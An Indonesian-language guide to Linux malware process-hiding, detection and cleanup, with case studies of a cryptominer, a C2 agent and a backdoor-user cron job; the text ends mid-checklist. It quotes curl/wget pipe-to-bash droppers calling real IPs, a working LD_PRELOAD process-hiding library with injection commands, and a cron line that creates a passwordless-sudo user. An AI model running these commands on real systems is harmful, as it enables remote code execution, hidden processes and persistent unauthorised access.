Malware & Rootkit — Teknik Persembunyian Proses
- Siti
Table of Contents
Daftar Isi
- Bab 1 — Teknik Persembunyian Proses
- Bab 1.10 — Persistence via .bashrc/.profile
- Bab 1.11 — perfctl: Pola Malware Canggih di $HOME
- Bab 2 — Cara Deteksi
- Bab 3 — Penanganan & Pembersihan
- Bab 4 — Studi Kasus Nyata
Bab 1 — Teknik Persembunyian Proses
Malware modern tidak bisa hanya berjalan — ia harus tidak terlihat. Berikut adalah teknik-teknik yang paling umum digunakan, dari yang paling sederhana hingga yang paling dalam.
1.1 argv[0] Masquerading
Teknik paling dasar: ganti nama proses yang terlihat di ps tanpa mengubah binary.
Di C, nama proses bisa diubah langsung lewat argv[0]:
1// Setelah exec, ganti argv[0] sehingga ps menampilkan nama palsu
2strcpy(argv[0], "[kworker/0:1]");Di Go, XMRig, dan banyak miner modern:
1// exec-a trick — nama proses di /proc/PID/comm = argv[0], bukan nama binary
2execl("/usr/bin/softirq", "[kworker/u4:2]", "--config", "/var/tmp/config.json", NULL);Contoh dari malware nyata yang ditemukan di lapangan (systemd service gs-dbus.service):
1[Service]
2ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/gs-dbus.dat -ilq' \
3 exec -a '[kcached]' '/usr/bin/gs-dbus'"Bash exec -a mengganti argv[0] sehingga di ps aux terlihat sebagai [kcached] — persis seperti kernel thread legitim.
Cara deteksi: /proc/PID/exe tidak bisa dipalsu. [kcached] asli tidak punya /proc/PID/exe yang bisa dibaca.
1# Kernel thread asli: exe kosong atau tidak bisa dibaca
2ls -la /proc/$(pgrep kcached)/exe
3
4# Malware: exe menunjuk ke binary aslinya
5readlink /proc/$(pgrep kcached)/exe
6# Output: /usr/bin/gs-dbus ← ketahuan1.2 Kernel Thread Spoofing
Kernel threads di Linux tampil dengan nama dalam kurung siku, misalnya [kworker/0:1], [migration/0], [kthreadd]. Malware mengeksploitasi konvensi ini karena kebanyakan sysadmin akan skip proses [...].
Ciri-ciri kernel thread asli:
- Dimiliki oleh PID 2 (
kthreadd) sebagai parent - Tidak ada
/proc/PID/exe— kernel thread tidak punya binary di disk - UID = 0, tapi tidak membuka file socket ke internet
Ciri-ciri palsu:
- PPID bukan 2 (biasanya parent-nya adalah
bash,cron, atauinit) /proc/PID/exebisa dibaca dan menunjuk ke file di/tmp,/usr/bin, dsb- Ada koneksi TCP ke IP asing
1# Cek semua proses bracket yang punya exe file (seharusnya kosong)
2for pid in /proc/[0-9]*/; do
3 pid=${pid%/}; pid=${pid##*/}
4 comm=$(cat /proc/$pid/comm 2>/dev/null)
5 case "$comm" in \[*)
6 exe=$(readlink /proc/$pid/exe 2>/dev/null)
7 [ -n "$exe" ] && echo "SUSPICIOUS pid=$pid comm=$comm exe=$exe"
8 ;; esac
9done1.3 Nama Binary Palsu di Sistem Path
Menyimpan binary malware di /usr/bin/, /usr/sbin/, /bin/, atau /lib/systemd/ dengan nama yang menyerupai program sistem.
Nama-nama yang sering dipakai:
| Nama Malware | Menyerupai |
|---|---|
/usr/bin/softirq | Kernel mechanism softirq |
/usr/bin/gs-dbus | D-Bus daemon dbus-daemon |
/usr/lib/systemd/bofnhpxcc | Systemd helper (nama acak) |
/bin/kblockd | Kernel thread [kblockd] |
/usr/bin/tracepath | Tool jaringan tracepath |
/usr/sbin/networkservice | Network daemon |
Menyimpan di /usr/bin/ atau /bin/ punya keuntungan:
- Lolos filter
case "$cmd" in */usr/bin/*) continue ;;yang sering ada di cleanup script - Tampak legitim di output
ls /usr/bin - Sudah ada di
$PATH— bisa dipanggil langsung tanpa path absolut
Cara deteksi:
1# Bandingkan /usr/bin dengan package manager — binary yang tidak dikenal
2dpkg -S /usr/bin/softirq 2>&1 # "no path found" = bukan dari package
3
4# Cek binary baru yang tidak ada di database dpkg/rpm
5find /usr/bin /usr/sbin /bin /sbin -newer /etc/passwd -type f 2>/dev/null1.4 Guard Process & Auto-Respawn
Miner dan C2 agent modern tidak berjalan sendirian. Mereka membentuk watchdog pair:
guard process ──watches──> miner process
│ │
└── restarts if killed ─────┘Pola ini membuat pkill xmrig tidak cukup — dalam hitungan detik proses respawn.
Variasi implementasi:
1. Dua proses saling menjaga (mutual watchdog):
1# Proses A: jalankan B, awasi, restart kalau mati
2while true; do
3 pgrep -x miner || exec /tmp/miner --config /var/tmp/config.json
4 sleep 5
5done &
6
7# Proses B: jalankan A, awasi, restart kalau mati
8while true; do
9 pgrep -x guard || exec /tmp/guard
10 sleep 5
11done &2. Systemd dengan Restart=always:
1[Service]
2Restart=always
3RestartSec=10
4ExecStart=/usr/bin/gs-dbus -k /lib/systemd/system/gs-dbus.datSetiap kali proses dikill, systemd restart dalam 10 detik. Ini yang menyebabkan miner terus “killed” tapi terus muncul lagi.
3. Cron setiap menit:
* * * * * pgrep -x softirq || /usr/bin/softirq --config /var/tmp/config.jsonCara penanganan: Harus matikan persistence dulu (service, cron), baru kill proses. Urutan terbalik akan selalu gagal.
1.5 Systemd Service Palsu
Mendaftarkan binary malware sebagai systemd service adalah teknik persistence yang sangat efektif karena:
- Otomatis start saat boot
- Auto-restart saat dikill (
Restart=always) - Tampil di
systemctl list-unitsdengan deskripsi meyakinkan - Tidak tampil di crontab atau
.bashrc
Contoh service file dari malware nyata:
1# /lib/systemd/system/gs-dbus.service
2[Unit]
3Description=D-Bus System Connection Bus
4After=network.target
5
6[Service]
7Type=simple
8Restart=always
9RestartSec=10
10WorkingDirectory=/root
11ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/gs-dbus.dat -ilq' \
12 exec -a '[kcached]' '/usr/bin/gs-dbus'"
13
14[Install]
15WantedBy=multi-user.targetDeskripsi D-Bus System Connection Bus sangat meyakinkan — hampir identik dengan service dbus.service yang asli.
Cara deteksi:
1# Tampilkan semua service yang aktif beserta ExecStart-nya
2systemctl list-units --type=service --state=running | while read unit _; do
3 exec=$(systemctl show -p ExecStart "$unit" 2>/dev/null | grep -o 'path=[^ ]*' | cut -d= -f2)
4 [ -n "$exec" ] && echo "$unit -> $exec"
5done | grep -vE '/usr/sbin|/usr/lib/systemd/systemd|/bin/(bash|sh)$'
6
7# Cek service file yang tidak berasal dari package
8systemctl list-unit-files --type=service | awk '{print $1}' | while read svc; do
9 f=$(systemctl show -p FragmentPath "$svc" 2>/dev/null | cut -d= -f2)
10 [ -f "$f" ] && dpkg -S "$f" 2>/dev/null | grep -q . || echo "UNKNOWN: $svc -> $f"
11done1.6 Immutable Files via chattr
chattr +i membuat file tidak bisa dihapus, direname, atau dimodifikasi — bahkan oleh root. chattr +a hanya mengizinkan append. Kombinasi +ia adalah proteksi maksimal.
1# Malware mengeset immutable saat instalasi
2chattr +ia /etc/rondo/rondo
3chattr +ia /usr/bin/softirq
4chattr +ia /var/spool/cron/crontabs/root
5chattr +ia /etc/cron.d/rondoHasilnya:
rm -rf /usr/bin/softirq→Operation not permittedcrontab -e→ rename temp file gagal → crontab tidak bisa diedit- Bahkan
sudo rmsebagai root pun gagal
lsattr untuk inspeksi:
1lsattr /usr/bin/softirq
2# Output: ----ia--------e------- /usr/bin/softirq
3# ^^ i=immutable, a=append-onlyPada container atau sistem yang tidak punya chattr di PATH sudo, flag ini tetap bisa di-clear menggunakan ioctl langsung (lihat Bab 3.3).
1.7 LD_PRELOAD Hooking
Dengan menyuntikkan shared library lewat LD_PRELOAD atau /etc/ld.so.preload, malware bisa override fungsi libc yang digunakan oleh ps, ls, netstat, dsb untuk menyaring output.
Contoh: hide proses dengan PID tertentu dari readdir():
1// evil.so — override readdir() untuk skip entri /proc/<pid>
2#define _GNU_SOURCE
3#include <dirent.h>
4#include <dlfcn.h>
5#include <string.h>
6#include <stdlib.h>
7
8static typeof(readdir) *real_readdir;
9
10struct dirent *readdir(DIR *dirp) {
11 if (!real_readdir)
12 real_readdir = dlsym(RTLD_NEXT, "readdir");
13
14 struct dirent *entry;
15 while ((entry = real_readdir(dirp)) != NULL) {
16 // Sembunyikan PID 1337 dari /proc listing
17 if (strcmp(entry->d_name, "1337") == 0)
18 continue;
19 break;
20 }
21 return entry;
22}Compile dan inject:
1gcc -shared -fPIC -o /lib/x86_64-linux-gnu/libsystem.so evil.so.c -ldl
2echo /lib/x86_64-linux-gnu/libsystem.so >> /etc/ld.so.preloadSekarang ps aux, ls /proc, bahkan top tidak akan menampilkan PID 1337.
Kelemahan: Hanya efektif terhadap proses yang menggunakan libc. cat /proc/PID/status langsung via syscall tetap bekerja. Static binary seperti busybox tidak terpengaruh.
Deteksi:
1# Cek /etc/ld.so.preload
2cat /etc/ld.so.preload 2>/dev/null
3
4# Cek LD_PRELOAD di environment proses
5cat /proc/1/environ | tr '\0' '\n' | grep LD_PRELOAD
6
7# Bandingkan output ps dengan /proc langsung
8diff <(ls /proc | grep '^[0-9]' | sort -n) \
9 <(ps -e --no-headers -o pid | sort -n)
10# Baris di kiri tapi tidak di kanan = proses tersembunyi1.8 LKM Rootkit
Linux Kernel Module rootkit adalah teknik persembunyian paling dalam di level userspace. Dengan insert kernel module, malware bisa:
- Hook
getdents64syscall untuk menyembunyikan entri/procdan file - Hook
tcp4_seq_show/tcp6_seq_showuntuk menyembunyikan koneksi darissdannetstat - Hide module itu sendiri dari
/proc/modulesdanlsmod
Contoh hook sederhana untuk sembunyikan proses:
1// Ganti sys_getdents64 dengan versi yang menyaring entri tertentu
2static asmlinkage long hacked_getdents64(const struct pt_regs *regs) {
3 long ret = original_getdents64(regs);
4 // Iterasi hasil, hapus entri yang namanya cocok dengan target
5 // ...
6 return ret;
7}Rootkit terkenal yang menggunakan teknik ini: Diamorphine, Reptile, Azazel, Adore-ng.
Mengapa susah dideteksi:
lsmodsendiri di-hook → module tidak terlihat/proc/modulesdan/sys/module/juga disembunyikanpsdanls /procdi-hook → proses tidak terlihat
Deteksi dari luar kernel (tetap efektif):
1# 1. Bandingkan syscall counter dengan yang diharapkan
2# getdents64 yang di-hook akan punya overhead berbeda
3
4# 2. Cek dengan tool yang menggunakan syscall langsung (bypass libc hook)
5# strace sendiri, atau tool forensik berbasis ptrace
6
7# 3. Bandingkan /proc/kallsyms dengan nilai yang tersimpan
8# Hook sering mengubah sys_call_table entries
9grep sys_getdents64 /proc/kallsyms
10
11# 4. Volatility memory forensic (butuh memory dump)
12vol.py -f memory.dmp linux_check_syscall
13vol.py -f memory.dmp linux_hidden_modules
14
15# 5. Cek dengan /dev/mem jika tersedia (sering diblokir)
16# Atau gunakan KVM/VMware introspection dari hypervisor1.9 eBPF Rootkit
eBPF (extended Berkeley Packet Filter) adalah teknik rootkit terbaru dan paling canggih. Program eBPF berjalan langsung di kernel tanpa perlu LKM, memanfaatkan subsistem yang sah dan didukung oleh Linux modern.
Keunggulan eBPF rootkit:
- Tidak perlu compile kernel module
- Tidak memodifikasi
sys_call_table - Program eBPF yang di-load tidak mudah terdeteksi
- Bisa hook
kprobes,tracepoints, dancgroupoperations
Contoh: ebpfkit dan Pamspy bisa mencuri password SSH dan menyembunyikan traffic jaringan.
1# Muat program eBPF berbahaya (butuh CAP_BPF atau root)
2bpftool prog load evil.bpf.o /sys/fs/bpf/evil
3bpftool prog attach ...
4
5# Program eBPF yang sudah jalan:
6bpftool prog list
7# ID 42: type=kprobe tag=abcd1234 run_cnt=99999Deteksi:
1# Daftar semua eBPF program yang sedang aktif
2bpftool prog list
3bpftool map list
4
5# Cek kprobes yang dipasang
6cat /sys/kernel/debug/kprobes/list
7
8# Cek tracing hooks
9cat /sys/kernel/debug/tracing/kprobe_events1.10 Persistence via .bashrc/.profile
Menambahkan baris ke .bashrc atau .profile adalah teknik persistence paling sederhana — tidak butuh root, aktif setiap shell baru dibuka.
Contoh injeksi yang sering ditemukan:
1# Injeksi di akhir .bashrc user
2nohup /root/.kdevtmpfsi > /dev/null 2>&1 &
3systemd-logind > /dev/null 2>&1 &
4(curl -fsSL http://129.159.95.100/setup.sh | bash) > /dev/null 2>&1 &
5export LD_PRELOAD=/dev/shm/.lib.soPola dari kasus nyata di .bashrc:
1_sw_bashrc_patterns='
2systemd-logind # nama palsu
3kinsing # binary miner
4kdevtmpfsi # nama kernel thread palsu
5/dev/shm/ # path mencurigakan
6xmrig
7/tmp/.x/
8moneroocean
9--guard
10nohup /root/\. # hidden ELF di $HOME
11md991
12prometheus695
13rsyslogd663
14129.159.95.100
15129.80.185.131
16'Teknik pengamanan tambahan yang sering dipakai malware:
1# Lock .bashrc agar tidak bisa diedit
2chattr +i ~/.bashrc
3
4# atau tambahkan entri di file .bash_profile yang tampak tidak berbahaya
5echo '[ -f /tmp/.init ] && source /tmp/.init' >> ~/.bash_profileDeteksi:
1# Cek baris mencurigakan di semua shell config
2grep -nE 'nohup|/tmp/|/dev/shm/|base64|curl.*bash|wget.*bash' \
3 ~/.bashrc ~/.profile ~/.bash_profile ~/.zshrc 2>/dev/null
4
5# Cek immutable flag
6lsattr ~/.bashrc ~/.profile 2>/dev/nullPembersihan:
1# Clear immutable jika ada
2chattr -ia ~/.bashrc 2>/dev/null
3
4# Hapus baris mencurigakan
5for pat in systemd-logind kinsing kdevtmpfsi xmrig moneroocean '--guard' 'nohup /root/\.'; do
6 sed -i "/$pat/d" ~/.bashrc 2>/dev/null
7done1.11 perfctl: Pola Malware Canggih di $HOME
perfctl adalah salah satu malware Linux paling canggih yang menggunakan teknik evasion berlapis untuk bersembunyi di home directory.
Teknik yang digunakan:
1. Random 12-char hidden binaries:
1ls -la ~/
2# -rwxr-xr-x 1 user user 1.9M Apr 5 ~/.xdiagz3kpwl ← scanner (41KB)
3# -rwxr-xr-x 1 user user 5.1M Apr 5 ~/.kbzdrmcvwpqh ← dropper/minerBinary dengan nama acak 12 karakter, hidden (dot prefix), ukuran 41KB (scanner) atau 1.9-5.1MB (dropper/miner).
2. Symlink tricks untuk menyamar sebagai [sh]:
1# Buat symlink [sh] → binary malware
2ln -s ~/.kbzdrmcvwpqh ~/\[sh\]
3# Di ps, muncul sebagai: [sh] ← terlihat seperti kernel thread3. Decoy service directories:
Membuat 80+ direktori kosong di /tmp dengan nama service sistem untuk membingungkan cleanup tools:
/tmp/.NetworkManager /tmp/.sshd /tmp/.nginx /tmp/.dockerd
/tmp/.mysql /tmp/.postgres /tmp/.redis-server /tmp/.kubelet
... (80+ direktori)Cleanup script yang melakukan rm -rf /tmp/.nginx akan membuang waktu di direktori kosong ini, sementara binary aslinya ada di lokasi lain.
4. XDG autostart persistence:
1# ~/.config/autostart/update.desktop
2[Desktop Entry]
3Type=Application
4Exec=/root/.kbzdrmcvwpqh --silent
5Hidden=false
6X-GNOME-Autostart-enabled=true5. Timestamp-named binaries:
1# Di direktori kerja aplikasi atau $HOME
2ls -la /app/
3# -rwxr-xr-x 1 app app 3.2M Apr 6 1773583760033_4aee56b5495c7619
4# Nama = Unix timestamp + random hex6. Guard binaries di random dirs:
1ls ~/
2# drwxr-xr-x 2 user user 4096 Apr 6 kbzdrmcv ← staging dir (8 char lowercase)
3# drwxr-xr-x 2 user user 4096 Apr 6 .lrt_dir ← virtual_file dir
4# drwxr-xr-x 2 user user 4096 Apr 6 .ldx_dir ← virtual_file dirDeteksi perfctl:
1# Hidden ELF binaries di $HOME (> 30KB)
2for f in ~/.*; do
3 [ -f "$f" ] || continue
4 size=$(wc -c < "$f" 2>/dev/null)
5 if [ "${size:-0}" -gt 30000 ]; then
6 magic=$(od -An -tx1 -N4 "$f" | tr -d ' ')
7 [ "$magic" = "7f454c46" ] && echo "HIDDEN ELF: $f ($size bytes)"
8 fi
9done
10
11# Symlink ke hidden files (perfctl [sh] trick)
12for f in ~/*; do
13 [ -L "$f" ] || continue
14 target=$(readlink "$f")
15 case "$target" in ~/.*|/root/.*) echo "SUSPICIOUS SYMLINK: $f -> $target" ;; esac
16done
17
18# 8-char lowercase dirs di $HOME (staging)
19for d in ~/[a-z]*; do
20 [ -d "$d" ] || continue
21 name="${d##*/}"
22 len=$(printf '%s' "$name" | wc -c)
23 [ "$len" -eq 8 ] && case "$name" in *[!a-z]*) ;; *) echo "SUSPECT DIR: $d" ;; esac
24done
25
26# .tmp_ lock files
27ls ~/. tmp_* 2>/dev/null && echo "WARNING: .tmp_ files found"
28
29# XDG autostart mencurigakan
30grep -l '/root/\.' ~/.config/autostart/*.desktop 2>/dev/nullBab 2 — Cara Deteksi
2.1 Bandingkan /proc vs ps
ps membaca dari /proc, tapi kalau /proc di-hook oleh LD_PRELOAD atau LKM, output ps bisa berbohong. Solusi: akses /proc langsung.
1# Baca dari /proc tanpa melewati libc readdir
2# Gunakan Python karena Python bisa bypass LD_PRELOAD via syscall wrapper
3python3 -c "
4import os
5proc_pids = set(int(p) for p in os.listdir('/proc') if p.isdigit())
6ps_pids = set()
7import subprocess
8for line in subprocess.check_output(['ps','-e','--no-headers','-o','pid']).decode().split():
9 try: ps_pids.add(int(line.strip()))
10 except: pass
11hidden = proc_pids - ps_pids
12if hidden:
13 for pid in sorted(hidden):
14 try:
15 cmd = open(f'/proc/{pid}/cmdline').read().replace('\x00',' ')
16 print(f'HIDDEN pid={pid}: {cmd[:80]}')
17 except: pass
18else:
19 print('No hidden processes detected')
20"2.2 Deteksi Ghost Process
Ghost process = proses yang binarynya sudah dihapus dari disk tapi masih berjalan di memori. Tanda khas malware yang sudah mencoba membersihkan jejaknya (atau sudah di-upgrade ke versi baru).
1# Semua proses dengan binary yang sudah dihapus
2for f in /proc/[0-9]*/exe; do
3 target=$(readlink "$f" 2>/dev/null)
4 case "$target" in *"(deleted)"*)
5 pid=${f%/exe}; pid=${pid##*/}
6 cmd=$(tr '\0' ' ' < /proc/$pid/cmdline 2>/dev/null)
7 echo "GHOST pid=$pid exe=$target cmd=$cmd"
8 ;; esac
9doneGhost process milik malware kita tadi:
GHOST pid=772791 exe=/usr/lib/systemd/bofnhpxcc (deleted) cmd=bofnhpxcc
GHOST pid=772792 exe=/usr/lib/systemd/bofnhpxcc (deleted) cmd=bofnhpxccBinary sudah terhapus tapi proses tetap jalan — tidak perlu ada file di disk untuk lanjut berjalan karena binary sudah di-mmap ke memori.
2.3 Cek Binary di Balik Proses
Setiap proses punya symlink /proc/PID/exe yang menunjuk ke binary aslinya — ini tidak bisa dipalsukan tanpa LKM rootkit.
1# Deteksi proses dengan nama bracket ([...]) tapi punya exe file
2python3 -c "
3import os
4for pid in os.listdir('/proc'):
5 if not pid.isdigit(): continue
6 try:
7 comm = open(f'/proc/{pid}/comm').read().strip()
8 if comm.startswith('[') and comm.endswith(']'):
9 exe = os.readlink(f'/proc/{pid}/exe')
10 ppid = [l for l in open(f'/proc/{pid}/status').readlines() if l.startswith('PPid:')][0].split()[1]
11 print(f'FAKE KERNEL THREAD: pid={pid} ppid={ppid} comm={comm} exe={exe}')
12 except: pass
13"2.4 Audit Immutable Files
1# Scan file immutable di lokasi sensitif
2lsattr -R /etc /usr/bin /usr/sbin /bin /sbin /tmp /var/tmp /dev/shm 2>/dev/null \
3 | grep -- '---i' \
4 | grep -v '\.pyc\|__pycache__'
5
6# Cek crontab immutable
7lsattr /var/spool/cron/crontabs/* 2>/dev/null | grep -- '---i\|---a'
8
9# Cek /etc/hosts (sering di-lock oleh malware untuk cegah update blocklist)
10lsattr /etc/hostsOutput ----ia--------e------- = immutable + append-only. File ini tidak bisa dihapus atau diubah secara normal.
2.5 Cek Systemd Services Mencurigakan
1# Tampilkan service yang enabled beserta binary yang dijalankan
2systemctl list-unit-files --type=service --state=enabled \
3 | awk '{print $1}' \
4 | while read svc; do
5 frag=$(systemctl show -p FragmentPath "$svc" 2>/dev/null | cut -d= -f2)
6 exec=$(systemctl show -p ExecStart "$svc" 2>/dev/null)
7 [ -z "$frag" ] && continue
8 # Service yang tidak berasal dari package manager
9 dpkg -S "$frag" 2>/dev/null | grep -q . || echo "UNKNOWN: $svc @ $frag"
10done
11
12# Cek service dengan Restart=always yang tidak lazim
13grep -r 'Restart=always' /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null \
14 | grep -v 'docker\|nginx\|postgres\|mysql\|redis\|ssh'2.6 Koneksi Jaringan Tersembunyi
ss dan netstat membaca dari /proc/net/tcp — bisa di-hook oleh LKM. Untuk bypass:
1# Metode 1: baca /proc/net/tcp langsung (bypass LKM partial)
2cat /proc/net/tcp | awk 'NR>1{
3 split($3,a,":");
4 cmd = "printf \"%d\" 0x" a[2]
5 cmd | getline port; close(cmd)
6 if (port > 1024) print "local_port=" port
7}'
8
9# Metode 2: ss dengan -n (no DNS lookup) lebih cepat
10ss -tnp 2>/dev/null | grep -v '127\.\|::1\|0\.0\.0\.0'
11
12# Metode 3: /proc/PID/net/tcp per-namespace (bypass network namespace tricks)
13cat /proc/1/net/tcp6 2>/dev/null
14
15# Metode 4: strace ss untuk lihat syscall yang dipanggil
16# (jika ss di-hook via LD_PRELOAD, strace akan terlihat perbedaannya)2.7 Deteksi LD_PRELOAD Hook
1# Cek /etc/ld.so.preload
2cat /etc/ld.so.preload 2>/dev/null && echo "WARNING: ld.so.preload exists"
3
4# Cek environment semua proses untuk LD_PRELOAD
5for f in /proc/[0-9]*/environ; do
6 pid=${f%/environ}; pid=${pid##*/}
7 if grep -qz LD_PRELOAD "$f" 2>/dev/null; then
8 echo "LD_PRELOAD in pid=$pid: $(strings "$f" | grep LD_PRELOAD)"
9 fi
10done
11
12# Bandingkan output ls dengan readdir langsung
13python3 -c "
14import os
15for f in os.listdir('/proc'):
16 if f.isdigit():
17 import subprocess
18 ps_out = subprocess.run(['ps','--pid',f,'-o','pid='], capture_output=True).stdout.decode()
19 if not ps_out.strip():
20 print(f'Process {f} visible in /proc but hidden from ps')
21"2.8 Deteksi LKM Rootkit
1# Cek module yang ada di /sys tapi tidak di lsmod
2diff <(ls /sys/module/ | sort) \
3 <(lsmod | awk 'NR>1{print $1}' | sort) 2>/dev/null
4
5# Cek sys_call_table untuk hook (membutuhkan akses ke /dev/mem atau debug)
6grep -E 'sys_call_table|sys_getdents' /proc/kallsyms
7
8# Cek checksum binary ps dan ls (perubahan = compromise)
9sha256sum /bin/ps /usr/bin/ps /bin/ls 2>/dev/null
10# Bandingkan dengan package manager:
11dpkg --verify 2>/dev/null | grep -v '^$'
12rpm -Va 2>/dev/null | grep -E '^.{8}S' # size mismatch
13
14# Tool dedicated:
15# chkrootkit -q
16# rkhunter --check --skip-keypressBab 3 — Penanganan & Pembersihan
3.1 Urutan Pembersihan yang Benar
Urutan yang salah (hampir selalu gagal):
kill proses → proses respawn dalam 10 detik via systemd/cron
hapus file → file kembali didownload via cron dropperUrutan yang benar:
1. Stop/disable systemd service
2. Hapus crontab entries (user + /var/spool/cron/ + /etc/cron.d/)
3. Bersihkan rc.local dan .bashrc
4. Kill guard process dulu
5. Kill proses malware
6. Hapus binary (clear immutable flag dulu jika perlu)
7. Blokir C2/pool di /etc/hosts
8. Reload systemd daemonLogika: matikan mekanisme respawn dulu, baru bunuh proses. Kalau dibalik, selalu ada race condition.
3.2 Kill Guard Dulu
Guard process adalah yang pertama harus dimatikan. Di sistem tanpa pgrep yang berfungsi (atau yang di-hook), gunakan scan /proc manual:
1# Kill berdasarkan pola nama di cmdline
2sudo python3 -c "
3import os, signal
4patterns = ['bofnhpxcc', '--guard', 'gs-dbus', 'softirq', 'rondo']
5for pid in os.listdir('/proc'):
6 if not pid.isdigit(): continue
7 try:
8 cmd = open(f'/proc/{pid}/cmdline').read().replace('\x00',' ')
9 exe = os.readlink(f'/proc/{pid}/exe')
10 if any(p in cmd+exe for p in patterns):
11 print(f'Killing pid={pid}: {cmd[:60]}')
12 os.kill(int(pid), signal.SIGKILL)
13 except: pass
14"Dua-pass kill — pass pertama kill guard, tunggu 1 detik, pass kedua kill semua yang tersisa. Guard yang sudah mati tidak bisa respawn yang lain.
3.3 Hapus File Immutable
Jika chattr tersedia:
1sudo chattr -ia /usr/bin/softirq
2sudo rm -f /usr/bin/softirqJika chattr tidak ada di PATH (misalnya container minimal tanpa e2fsprogs), gunakan Python ioctl langsung ke kernel:
1import fcntl, struct, os
2
3def remove_immutable(path):
4 # FS_IOC_GETFLAGS = 0x80086601, FS_IOC_SETFLAGS = 0x40086602
5 # FS_IMMUTABLE_FL = 0x10, FS_APPEND_FL = 0x20
6 fd = os.open(path, os.O_RDONLY | os.O_NONBLOCK)
7 flags = struct.unpack('I', fcntl.ioctl(fd, 0x80086601, b'\x00' * 4))[0]
8 flags &= ~0x30 # clear immutable + append flags
9 fcntl.ioctl(fd, 0x40086602, struct.pack('I', flags))
10 os.close(fd)
11 os.unlink(path)
12
13remove_immutable('/usr/bin/softirq')Syarat: harus punya CAP_LINUX_IMMUTABLE (bit 9). Root di sistem normal sudah punya ini, tapi di container yang di-strip capabilities mungkin tidak.
Cek capabilities:
1# Baca CapEff dari /proc/self/status (hex)
2grep CapEff /proc/self/status
3# 000001ffffffffff → bit 9 set → punya CAP_LINUX_IMMUTABLE ✓3.4 Bersihkan Persistence
Systemd service:
1sudo systemctl stop gs-dbus.service
2sudo systemctl disable gs-dbus.service
3sudo rm -f /lib/systemd/system/gs-dbus.service
4sudo rm -f /lib/systemd/system/gs-dbus.dat
5sudo systemctl daemon-reloadCrontab root (jika immutable):
1import fcntl, struct, os
2
3p = "/var/spool/cron/crontabs/root"
4fd = os.open(p, os.O_RDONLY | os.O_NONBLOCK)
5flags = struct.unpack('I', fcntl.ioctl(fd, 0x80086601, b'\x00'*4))[0]
6fcntl.ioctl(fd, 0x40086602, struct.pack('I', flags & ~0x30))
7os.close(fd)
8
9lines = open(p).readlines()
10lines = [l for l in lines if 'rondo' not in l and 'pakchoi' not in l and '80.64.16' not in l]
11open(p, 'w').writelines(lines)rc.local:
1# Hapus baris yang mengandung path malware
2sudo sed -i '/rondo\|kinsing\|xmrig\|softirq\|gs-dbus/d' /etc/rc.localBackdoor user:
1sudo userdel -r pakchoi 2>/dev/null
2sudo rm -f /etc/sudoers.d/99-pakchoi3.5 Blokir C2 di /etc/hosts
Blokir domain dan IP C2/mining pool di /etc/hosts agar miner tidak bisa terhubung bahkan jika binary entah bagaimana muncul lagi:
1# Clear immutable jika perlu
2sudo chattr -ia /etc/hosts 2>/dev/null
3
4cat >> /etc/hosts << 'EOF'
5# malware block
60.0.0.0 eu.rplant.xyz
70.0.0.0 rplant.xyz
80.0.0.0 62.60.246.210
90.0.0.0 45.125.66.100
100.0.0.0 45.94.31.89
110.0.0.0 80.64.16.241
12EOF
13
14# Lock setelah update agar malware tidak bisa menghapus blokir
15sudo chattr +i /etc/hostsBab 4 — Studi Kasus Nyata
4.1 Cluster gs-dbus + softirq
Ditemukan pada server Next.js yang berjalan di container (Ubuntu 22.04).
Komponen:
| File | Fungsi | Trick |
|---|---|---|
/usr/bin/softirq | XMRig miner | Nama kernel mechanism, immutable +ia, rwxrwxrwx |
/usr/bin/gs-dbus | Dropper/watchdog | Systemd service “D-Bus System Connection Bus” |
/lib/systemd/system/gs-dbus.service | Auto-start + respawn | Restart=always, RestartSec=10 |
/lib/systemd/system/gs-dbus.dat | Config/key untuk gs-dbus | |
/usr/lib/systemd/bofnhpxcc | Guard process | Nama acak per-infeksi, sudah deleted tapi masih running |
/var/tmp/config.json | XMRig config | Pool: 62.60.246.210:443, user: NEUGLOBALLY799911 |
Alur kerja:
Boot
└─> systemd start gs-dbus.service
└─> gs-dbus spawns bofnhpxcc (guard)
└─> bofnhpxcc spawns softirq (miner)
└─> softirq connects to 62.60.246.210:443 (XMR pool via TLS)
Jika softirq dikill:
bofnhpxcc restart softirq dalam <5 detik
Jika bofnhpxcc dikill:
gs-dbus (via systemd Restart=always) restart semuanya dalam 10 detik
Jika gs-dbus dikill:
systemd restart gs-dbus.service dalam 10 detikKenapa sulit dibersihkan:
/usr/bin/softirqpunya flag+ia—rmgagalchattrtidak tersedia di container ini (tidak adae2fsprogs)- Service respawn setiap 10 detik
- Proses
gs-dbusmenyamar sebagai[kcached]— sering dilewati di cleanup script yang skip kernel threads
Solusi: Stop service lewat systemctl → hapus binary via Python ioctl → daemon-reload.
4.2 Rondo C2 Agent
Rondo adalah Linux C2 agent (Command and Control) yang berjalan sebagai persistent backdoor.
| File | Detail |
|---|---|
/etc/rondo/rondo | Binary agent, immutable +ia |
/etc/cron.d/rondo | @reboot root /etc/rondo/rondo react.x86_64.persisted — immutable |
/etc/rc.local | /etc/rondo/rondo react.x86_64.persisted & |
Dua persistence layer — cron.d @reboot dan rc.local — memastikan agent selalu jalan setelah reboot meski salah satu dibersihkan.
Argumen react.x86_64.persisted menunjukkan ini bukan versi standar: binary kemungkinan di-compile ulang dengan config yang di-embed (C2 server address, key) sehingga setiap deployment punya binary berbeda.
4.3 Dropper re.sh + pakchoi Backdoor
Persistence berlapis yang ditemukan bersamaan:
Layer 1 — Dropper (setiap menit):
* * * * * wget -q -O - http://80.64.16.241/re.sh | bash > /dev/null 2>&1Setiap menit, re.sh didownload dan dieksekusi. Script ini melakukan:
- Re-download dan eksekusi miner (
/tmp/let,/dev/shm/let) - Re-install rondo jika tidak ada
- Memastikan
pakchoiuser eksis
Layer 2 — Backdoor user (setiap 30 menit):
*/30 * * * * (id pakchoi >/dev/null 2>&1 || \
(useradd -m -s /bin/bash pakchoi; \
echo 'pakchoi:Kermit123@' | chpasswd; \
echo 'pakchoi ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/99-pakchoi))Setiap 30 menit sistem memastikan user pakchoi ada dengan password Kermit123@ dan akses sudo tanpa password. Jika user dihapus, dicreate ulang 30 menit kemudian.
Pelajaran: Membersihkan file malware saja tidak cukup jika crontab belum dibersihkan — sistem akan terinfeksi ulang secara otomatis.
Checklist Pembersihan Cepat
1# 1. Stop malicious systemd services
2systemctl stop gs-dbus 2>/dev/null; systemctl disable gs-dbus 2>/dev/null
3
